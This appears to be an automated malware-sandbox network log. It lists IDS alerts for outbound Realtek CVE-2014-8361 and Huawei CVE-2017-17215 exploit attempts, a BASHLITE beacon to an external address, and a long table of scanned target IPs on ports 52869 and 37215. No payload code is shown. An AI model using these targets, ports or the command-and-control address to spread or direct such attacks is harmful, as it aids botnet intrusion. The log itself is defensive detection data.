2024-10-06T20:02:12.852490+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41228	41.43.93.94	52869	TCP
2024-10-06T20:02:12.879503+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35076	197.58.48.81	52869	TCP
2024-10-06T20:02:12.889814+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53838	197.48.214.44	52869	TCP
2024-10-06T20:02:13.046745+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35930	197.161.159.16	52869	TCP
2024-10-06T20:02:13.077847+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49534	197.166.40.5	52869	TCP
2024-10-06T20:02:13.078385+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56864	41.157.207.32	52869	TCP
2024-10-06T20:02:13.079587+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57480	197.165.209.47	52869	TCP
2024-10-06T20:02:13.093433+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55764	197.252.243.62	52869	TCP
2024-10-06T20:02:13.109393+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58446	156.228.44.70	37215	TCP
2024-10-06T20:02:14.109161+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51554	156.81.127.121	52869	TCP
2024-10-06T20:02:14.116738+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60086	156.189.16.238	52869	TCP
2024-10-06T20:02:14.128953+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33590	156.153.53.26	52869	TCP
2024-10-06T20:02:15.144000+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43792	41.221.22.83	37215	TCP
2024-10-06T20:02:16.328462+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50042	156.93.184.161	37215	TCP
2024-10-06T20:02:16.331937+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39318	197.105.153.187	52869	TCP
2024-10-06T20:02:16.347388+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54510	197.93.90.67	37215	TCP
2024-10-06T20:02:16.364772+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59076	156.197.1.6	52869	TCP
2024-10-06T20:02:18.363068+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43778	41.21.9.55	52869	TCP
2024-10-06T20:02:19.140645+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33908	197.192.168.176	52869	TCP
2024-10-06T20:02:19.156059+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54968	41.201.71.70	52869	TCP
2024-10-06T20:02:19.226491+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52542	156.156.223.100	52869	TCP
2024-10-06T20:02:19.359324+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47008	197.168.21.144	52869	TCP
2024-10-06T20:02:20.157378+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60272	41.26.49.109	52869	TCP
2024-10-06T20:02:20.187640+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48892	41.214.2.65	52869	TCP
2024-10-06T20:02:20.380815+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57176	197.230.9.215	37215	TCP
2024-10-06T20:02:20.741818+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	54212	104.248.167.251	89	TCP
2024-10-06T20:02:21.396021+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58266	156.91.92.248	37215	TCP
2024-10-06T20:02:22.172547+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34354	197.24.175.92	52869	TCP
2024-10-06T20:02:22.173309+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53320	156.29.70.242	52869	TCP
2024-10-06T20:02:22.175711+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47874	156.99.195.96	52869	TCP
2024-10-06T20:02:22.175964+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57936	197.10.235.141	52869	TCP
2024-10-06T20:02:22.187292+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40288	197.33.50.243	52869	TCP
2024-10-06T20:02:22.187335+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40666	41.103.82.45	52869	TCP
2024-10-06T20:02:22.189041+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40160	156.82.144.173	52869	TCP
2024-10-06T20:02:22.189148+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39726	197.21.35.211	52869	TCP
2024-10-06T20:02:22.190939+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45158	41.114.205.180	52869	TCP
2024-10-06T20:02:22.191074+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39520	41.88.205.8	52869	TCP
2024-10-06T20:02:22.191209+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36556	156.243.37.14	52869	TCP
2024-10-06T20:02:22.191326+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55696	41.62.66.35	52869	TCP
2024-10-06T20:02:22.202982+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46358	197.141.233.223	52869	TCP
2024-10-06T20:02:22.204962+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42116	156.182.220.21	52869	TCP
2024-10-06T20:02:22.206936+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60376	156.143.158.210	52869	TCP
2024-10-06T20:02:22.208477+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54722	156.215.237.240	52869	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 20:00:44.478898048 CEST	49416	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:44.478904009 CEST	49416	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:44.478903055 CEST	49416	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:44.478914976 CEST	49416	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:44.478934050 CEST	49416	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:44.478934050 CEST	49416	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:44.478940964 CEST	49416	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:44.478940964 CEST	49416	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:44.478945017 CEST	49416	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:44.478945017 CEST	49416	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:44.478965998 CEST	49416	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:44.478965998 CEST	49416	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:44.478966951 CEST	49416	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:44.478976965 CEST	49416	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:44.478979111 CEST	49416	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:44.478981018 CEST	49416	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:44.478986979 CEST	49416	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:44.478986979 CEST	49416	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:44.478988886 CEST	49416	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:44.478988886 CEST	49416	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:44.478990078 CEST	49416	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:44.478990078 CEST	49416	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:44.478997946 CEST	49416	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:44.478997946 CEST	49416	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:44.479001999 CEST	49416	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:44.479008913 CEST	49416	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:44.479017019 CEST	49416	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:44.479018927 CEST	49416	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:44.479022980 CEST	49416	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:44.479022980 CEST	49416	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:44.479031086 CEST	49416	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:44.479033947 CEST	49416	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:44.479036093 CEST	49416	37215	192.168.2.15	41.224.228.252
Oct 6, 2024 20:00:44.479043007 CEST	49416	37215	192.168.2.15	197.164.143.249
Oct 6, 2024 20:00:44.479046106 CEST	49416	37215	192.168.2.15	156.104.113.198
Oct 6, 2024 20:00:44.479051113 CEST	49416	37215	192.168.2.15	197.6.95.61
Oct 6, 2024 20:00:44.479054928 CEST	49416	37215	192.168.2.15	156.189.150.200
Oct 6, 2024 20:00:44.479062080 CEST	49416	37215	192.168.2.15	41.216.18.137
Oct 6, 2024 20:00:44.479069948 CEST	49416	37215	192.168.2.15	156.209.57.80
Oct 6, 2024 20:00:44.479079008 CEST	49416	37215	192.168.2.15	197.233.118.113
Oct 6, 2024 20:00:44.479080915 CEST	49416	37215	192.168.2.15	197.21.179.212
Oct 6, 2024 20:00:44.479087114 CEST	49416	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:44.479096889 CEST	49416	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:44.479099989 CEST	49416	37215	192.168.2.15	156.33.124.178
Oct 6, 2024 20:00:44.479100943 CEST	49416	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:44.479110956 CEST	49416	37215	192.168.2.15	41.216.41.161
Oct 6, 2024 20:00:44.479115009 CEST	49416	37215	192.168.2.15	197.103.184.79
Oct 6, 2024 20:00:44.479115963 CEST	49416	37215	192.168.2.15	156.171.125.229
Oct 6, 2024 20:00:44.479115009 CEST	49416	37215	192.168.2.15	197.23.127.152
Oct 6, 2024 20:00:44.479129076 CEST	49416	37215	192.168.2.15	41.138.115.205
Oct 6, 2024 20:00:44.479130030 CEST	49416	37215	192.168.2.15	156.140.244.109
Oct 6, 2024 20:00:44.479137897 CEST	49416	37215	192.168.2.15	156.169.96.48
Oct 6, 2024 20:00:44.479147911 CEST	49416	37215	192.168.2.15	197.30.226.169
Oct 6, 2024 20:00:44.479147911 CEST	49416	37215	192.168.2.15	197.158.249.73
Oct 6, 2024 20:00:44.479151011 CEST	49416	37215	192.168.2.15	197.252.154.175
Oct 6, 2024 20:00:44.479151011 CEST	49416	37215	192.168.2.15	156.87.207.127
Oct 6, 2024 20:00:44.479160070 CEST	49416	37215	192.168.2.15	197.36.180.150
Oct 6, 2024 20:00:44.479165077 CEST	49416	37215	192.168.2.15	197.163.24.101
Oct 6, 2024 20:00:44.479171991 CEST	49416	37215	192.168.2.15	197.173.47.28
Oct 6, 2024 20:00:44.479175091 CEST	49416	37215	192.168.2.15	197.89.171.150
Oct 6, 2024 20:00:44.479187012 CEST	49416	37215	192.168.2.15	41.68.38.42
Oct 6, 2024 20:00:44.479191065 CEST	49416	37215	192.168.2.15	41.86.8.174
Oct 6, 2024 20:00:44.479201078 CEST	49416	37215	192.168.2.15	197.177.137.165
Oct 6, 2024 20:00:44.479202032 CEST	49416	37215	192.168.2.15	197.104.12.72
Oct 6, 2024 20:00:44.479211092 CEST	49416	37215	192.168.2.15	197.184.245.173
Oct 6, 2024 20:00:44.479216099 CEST	49416	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:44.479217052 CEST	49416	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:44.479219913 CEST	49416	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:44.479228020 CEST	49416	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:44.479228020 CEST	49416	37215	192.168.2.15	41.135.148.77
Oct 6, 2024 20:00:44.479240894 CEST	49416	37215	192.168.2.15	41.117.90.99
Oct 6, 2024 20:00:44.479245901 CEST	49416	37215	192.168.2.15	197.63.163.35
Oct 6, 2024 20:00:44.479249954 CEST	49416	37215	192.168.2.15	41.52.161.212
Oct 6, 2024 20:00:44.479249954 CEST	49416	37215	192.168.2.15	41.10.114.12
Oct 6, 2024 20:00:44.479259968 CEST	49416	37215	192.168.2.15	197.247.139.132
Oct 6, 2024 20:00:44.479259968 CEST	49416	37215	192.168.2.15	41.42.204.129
Oct 6, 2024 20:00:44.479264021 CEST	49416	37215	192.168.2.15	197.251.92.146
Oct 6, 2024 20:00:44.479274035 CEST	49416	37215	192.168.2.15	41.26.146.231
Oct 6, 2024 20:00:44.479274988 CEST	49416	37215	192.168.2.15	197.133.246.15
Oct 6, 2024 20:00:44.479279041 CEST	49416	37215	192.168.2.15	156.149.6.181
Oct 6, 2024 20:00:44.479288101 CEST	49416	37215	192.168.2.15	41.163.209.214
Oct 6, 2024 20:00:44.479295015 CEST	49416	37215	192.168.2.15	197.164.25.106
Oct 6, 2024 20:00:44.479295015 CEST	49416	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:44.479300022 CEST	49416	37215	192.168.2.15	156.242.29.171
Oct 6, 2024 20:00:44.479304075 CEST	49416	37215	192.168.2.15	156.252.170.108
Oct 6, 2024 20:00:44.479314089 CEST	49416	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:44.479317904 CEST	49416	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:44.479325056 CEST	49416	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:44.479325056 CEST	49416	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:44.479336977 CEST	49416	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:44.479336977 CEST	49416	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:44.479355097 CEST	49416	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:44.479357958 CEST	49416	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:44.479360104 CEST	49416	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:44.479363918 CEST	49416	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:44.479374886 CEST	49416	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:44.479378939 CEST	49416	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:44.479396105 CEST	49416	37215	192.168.2.15	41.241.82.163
Oct 6, 2024 20:00:44.479403973 CEST	49416	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:44.479403973 CEST	49416	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:44.479408979 CEST	49416	37215	192.168.2.15	197.209.210.67
Oct 6, 2024 20:00:44.479408979 CEST	49416	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:44.479412079 CEST	49416	37215	192.168.2.15	41.40.22.66
Oct 6, 2024 20:00:44.479412079 CEST	49416	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:44.479422092 CEST	49416	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:44.479424000 CEST	49416	37215	192.168.2.15	156.68.175.89
Oct 6, 2024 20:00:44.479424953 CEST	49416	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:44.479438066 CEST	49416	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:44.479438066 CEST	49416	37215	192.168.2.15	156.169.155.153
Oct 6, 2024 20:00:44.479453087 CEST	49416	37215	192.168.2.15	197.37.70.229
Oct 6, 2024 20:00:44.479454994 CEST	49416	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:44.479465961 CEST	49416	37215	192.168.2.15	41.188.37.80
Oct 6, 2024 20:00:44.479469061 CEST	49416	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:44.479469061 CEST	49416	37215	192.168.2.15	156.42.253.125
Oct 6, 2024 20:00:44.479471922 CEST	49416	37215	192.168.2.15	156.132.32.120
Oct 6, 2024 20:00:44.479474068 CEST	49416	37215	192.168.2.15	197.127.80.98
Oct 6, 2024 20:00:44.479484081 CEST	49416	37215	192.168.2.15	197.91.228.36
Oct 6, 2024 20:00:44.479485989 CEST	49416	37215	192.168.2.15	156.92.240.142
Oct 6, 2024 20:00:44.479489088 CEST	49416	37215	192.168.2.15	156.112.0.159
Oct 6, 2024 20:00:44.479500055 CEST	49416	37215	192.168.2.15	41.128.123.30
Oct 6, 2024 20:00:44.479501009 CEST	49416	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:44.479506969 CEST	49416	37215	192.168.2.15	197.45.3.126
Oct 6, 2024 20:00:44.479513884 CEST	49416	37215	192.168.2.15	41.136.93.105
Oct 6, 2024 20:00:44.479521036 CEST	49416	37215	192.168.2.15	156.68.15.29
Oct 6, 2024 20:00:44.479521990 CEST	49416	37215	192.168.2.15	197.96.94.0
Oct 6, 2024 20:00:44.479530096 CEST	49416	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:44.479540110 CEST	49416	37215	192.168.2.15	197.203.124.49
Oct 6, 2024 20:00:44.479542971 CEST	49416	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:44.479551077 CEST	49416	37215	192.168.2.15	156.91.169.164
Oct 6, 2024 20:00:44.479551077 CEST	49416	37215	192.168.2.15	197.25.250.231
Oct 6, 2024 20:00:44.479563951 CEST	49416	37215	192.168.2.15	41.58.12.135
Oct 6, 2024 20:00:44.479568958 CEST	49416	37215	192.168.2.15	197.129.215.179
Oct 6, 2024 20:00:44.479571104 CEST	49416	37215	192.168.2.15	41.183.99.161
Oct 6, 2024 20:00:44.479578972 CEST	49416	37215	192.168.2.15	197.205.137.129
Oct 6, 2024 20:00:44.479582071 CEST	49416	37215	192.168.2.15	156.128.78.62
Oct 6, 2024 20:00:44.479585886 CEST	49416	37215	192.168.2.15	41.217.31.149
Oct 6, 2024 20:00:44.479593992 CEST	49416	37215	192.168.2.15	41.152.152.38
Oct 6, 2024 20:00:44.479598045 CEST	49416	37215	192.168.2.15	156.194.180.181
Oct 6, 2024 20:00:44.479608059 CEST	49416	37215	192.168.2.15	197.152.4.213
Oct 6, 2024 20:00:44.479613066 CEST	49416	37215	192.168.2.15	156.95.166.80
Oct 6, 2024 20:00:44.479623079 CEST	49416	37215	192.168.2.15	41.214.63.217
Oct 6, 2024 20:00:44.479629040 CEST	49416	37215	192.168.2.15	156.24.118.60
Oct 6, 2024 20:00:44.479629040 CEST	49416	37215	192.168.2.15	156.118.181.143
Oct 6, 2024 20:00:44.479636908 CEST	49416	37215	192.168.2.15	156.43.195.226
Oct 6, 2024 20:00:44.479645967 CEST	49416	37215	192.168.2.15	156.184.29.71
Oct 6, 2024 20:00:44.479646921 CEST	49416	37215	192.168.2.15	156.120.223.201
Oct 6, 2024 20:00:44.479660034 CEST	49416	37215	192.168.2.15	197.161.252.62
Oct 6, 2024 20:00:44.479660988 CEST	49416	37215	192.168.2.15	156.158.243.61
Oct 6, 2024 20:00:44.479670048 CEST	49416	37215	192.168.2.15	41.215.184.177
Oct 6, 2024 20:00:44.479676008 CEST	49416	37215	192.168.2.15	41.222.230.25
Oct 6, 2024 20:00:44.479680061 CEST	49416	37215	192.168.2.15	156.196.150.48
Oct 6, 2024 20:00:44.479684114 CEST	49416	37215	192.168.2.15	156.190.230.144
Oct 6, 2024 20:00:44.479686975 CEST	49416	37215	192.168.2.15	156.50.108.213
Oct 6, 2024 20:00:44.479691029 CEST	49416	37215	192.168.2.15	156.159.31.250
Oct 6, 2024 20:00:44.479700089 CEST	49416	37215	192.168.2.15	156.215.228.221
Oct 6, 2024 20:00:44.479707003 CEST	49416	37215	192.168.2.15	41.60.149.65
Oct 6, 2024 20:00:44.479715109 CEST	49416	37215	192.168.2.15	41.184.55.157
Oct 6, 2024 20:00:44.479720116 CEST	49416	37215	192.168.2.15	197.10.216.164
Oct 6, 2024 20:00:44.479727030 CEST	49416	37215	192.168.2.15	156.195.245.128
Oct 6, 2024 20:00:44.479727030 CEST	49416	37215	192.168.2.15	41.35.183.42
Oct 6, 2024 20:00:44.483438015 CEST	49160	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:44.483453035 CEST	49160	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:44.483454943 CEST	49160	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:44.483458042 CEST	49160	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:44.483464956 CEST	49160	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:44.483469963 CEST	49160	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:44.483470917 CEST	49160	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:44.483479977 CEST	49160	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:44.483485937 CEST	49160	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:44.483516932 CEST	49160	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:44.483521938 CEST	49160	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:44.483529091 CEST	49160	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:44.483539104 CEST	49160	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:44.483546972 CEST	49160	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:44.483546972 CEST	49160	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:44.483546972 CEST	49160	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:44.483547926 CEST	49160	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:44.483546972 CEST	49160	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:44.483567953 CEST	49160	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:44.483570099 CEST	49160	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:44.483588934 CEST	49160	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:44.483591080 CEST	49160	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:44.483598948 CEST	49160	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:44.483608007 CEST	49160	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:44.483608961 CEST	49160	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:44.483608961 CEST	49160	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:44.483612061 CEST	49160	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:44.483612061 CEST	49160	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:44.483612061 CEST	49160	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:44.483614922 CEST	49160	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:44.483618021 CEST	49160	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:44.483630896 CEST	49160	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:44.483630896 CEST	49160	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:44.483633995 CEST	49160	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:44.483644962 CEST	49160	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:44.483650923 CEST	49160	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:44.483656883 CEST	49160	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:44.483661890 CEST	49160	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:44.483670950 CEST	49160	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:44.483675957 CEST	49160	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:44.483683109 CEST	49160	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:44.483685017 CEST	49160	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:44.483685017 CEST	49160	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:44.483702898 CEST	49160	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:44.483704090 CEST	49160	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:44.483710051 CEST	49160	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:44.483717918 CEST	49160	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:44.483721972 CEST	49160	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:44.483722925 CEST	49160	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:44.483724117 CEST	49160	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:44.483731985 CEST	49160	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:44.483736992 CEST	49160	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:44.483741999 CEST	49160	52869	192.168.2.15	197.59.148.206
Oct 6, 2024 20:00:44.483741999 CEST	49160	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:44.483743906 CEST	49160	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:44.483753920 CEST	49160	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:44.483757019 CEST	49160	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:44.483760118 CEST	49160	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:44.483762026 CEST	49160	52869	192.168.2.15	156.159.83.36
Oct 6, 2024 20:00:44.483762026 CEST	49160	52869	192.168.2.15	197.77.127.101
Oct 6, 2024 20:00:44.483762026 CEST	49160	52869	192.168.2.15	197.85.205.5
Oct 6, 2024 20:00:44.483762980 CEST	49160	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:44.483763933 CEST	49160	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:44.483774900 CEST	49160	52869	192.168.2.15	197.253.224.211
Oct 6, 2024 20:00:44.483778954 CEST	49160	52869	192.168.2.15	197.63.54.18
Oct 6, 2024 20:00:44.483784914 CEST	49160	52869	192.168.2.15	156.168.114.112
Oct 6, 2024 20:00:44.483797073 CEST	49160	52869	192.168.2.15	41.186.47.165
Oct 6, 2024 20:00:44.483800888 CEST	49160	52869	192.168.2.15	41.14.170.201
Oct 6, 2024 20:00:44.483802080 CEST	49160	52869	192.168.2.15	197.239.132.38
Oct 6, 2024 20:00:44.483813047 CEST	49160	52869	192.168.2.15	41.67.114.133
Oct 6, 2024 20:00:44.483823061 CEST	49160	52869	192.168.2.15	41.90.125.11
Oct 6, 2024 20:00:44.483824015 CEST	49160	52869	192.168.2.15	41.180.43.227
